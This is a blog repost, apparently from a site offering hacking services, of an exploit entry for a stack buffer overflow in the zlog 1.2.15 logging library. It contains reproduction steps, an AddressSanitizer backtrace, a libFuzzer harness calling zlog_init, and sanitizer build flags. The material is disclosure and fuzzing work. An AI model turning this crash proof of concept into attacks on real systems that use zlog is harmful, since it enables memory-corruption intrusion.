Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86389500

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: zlog 1.2.15 - Buffer Overflow
# Date: 10/23/2021
# Exploit Author: LIWEI
# Vendor Homepage:  https://github.com/HardySimpson/zlog
# Software Link: https://github.com/HardySimpson/zlog
# Version: v1.2.15
# Tested on: ubuntu 18.04.2
# 1.- compile the zlogv1.2.15 code to a library.
# 2.- Use the "zlog_init" API to parse a file. You can do it as my testcase below.
# 3.- crash. because it made a stack-buffer-overflow READ.
# 4. -Also, you can get a stack-buffer-overflow WRITE when the pointer's address which overflow read is end with "0x20".
# 5.- Here are the crash backtrace.
#0 0x5588c3 in zlog_conf_build_with_file /src/zlog/src/conf.c:308:15
#1 0x557ad6 in zlog_conf_new /src/zlog/src/conf.c:176:7
#2 0x551183 in zlog_init_inner /src/zlog/src/zlog.c:91:18
#3 0x551008 in zlog_init /src/zlog/src/zlog.c:134:6
#4 0x550df1 in LLVMFuzzerTestOneInput /src/zlog_init_fuzzer.c:18:18

And also my testcase:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include "zlog.h"

int
LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
{
        char filename[256];
        sprintf(filename, "/tmp/libfuzzer.%d", getpid());

        FILE *fp = fopen(filename, "wb");
        if (!fp)
                return 0;
        fwrite(data, size, 1, fp);
        fclose(fp);

        int rc = zlog_init(filename);
        if (rc == 0)
        {
                zlog_fini();
        }
        unlink(filename);
        remove(filename);
        return 0;
}

Put my testcase in his project and change the compile line with CC="clang" CFLAGS="-O1 -fno-omit-frame-pointer -gline-tables-only -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer-no-link" CXX="clang++" CXXFLAGS="-O1 -fno-omit-frame-pointer -gline-tables-only -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer-no-link -stdlib=libc++"
Use ./configure under his project as shown in his README.txt. you will get a binary as testcase's name. run and you will reproduce it.